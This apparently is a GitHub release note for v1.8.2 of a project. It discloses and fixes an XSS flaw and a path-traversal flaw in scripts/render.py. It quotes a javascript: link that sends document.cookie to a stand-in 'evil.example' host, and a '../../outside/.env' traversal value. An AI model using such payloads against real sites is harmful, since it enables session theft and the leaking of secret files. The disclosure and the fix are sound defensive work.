Skip to content

v1.8.2

Choose a tag to compare

@CesarRivasP CesarRivasP released this 18 Sep 11:09
· 129 commits to main since this release

Socket's audit of v1.8.1 flagged two real findings in scripts/render.py, both verified with a PoC before fixing.

Attacker-chosen links reached the rendered page unchanged

text = html.escape(text, quote=False)
...
text = re.sub(r"\[([^\]]+)\]\(([^)\s]+)\)", r'<a href="\2">\1</a>', text)

quote=False left " unescaped, and nothing checked the URL's scheme. [click me](javascript:document.location='https://evil.example/steal?c='+document.cookie) anywhere in prose or a registry field survived verbatim into the rendered href — a link the reader of a shared view.html could click.

docs[].file disclosed files outside the spec directory

docs:
  - { id: "01", file: ../../outside/.env }

build_page() joined docs[].file onto spec_dir with no bound and read the result into the page. Worse than audit.py's check 20, which only checks existence — here the file's full content ends up embedded in the HTML.

What changed

Every rendered link/image now runs through a scheme allowlist (http, https, mailto; anything else defuses to #), and html.escape escapes quotes for real. confined() — the same guard v1.8.1 gave check 15/18/20 in audit.py — moved into render.py, the shared core both files already import from, and build_page() / deferred_docs() use it before reading anything docs[] names. An escaping entry is skipped and surfaced as a visible Overview warning, never silently.

Tests

tests/test_render.py, two fixtures. render-escaping-doc points at scripts/render.py itself, three levels up — a file that really exists — because refusing a path that is merely missing proves nothing; the assertion is about the boundary. python3 tests/test_audit.py — 146/146 across 38 fixtures — and python3 tests/test_render.py — 2/2 — both pass on main.

Full changelog: v1.8.1...v1.8.2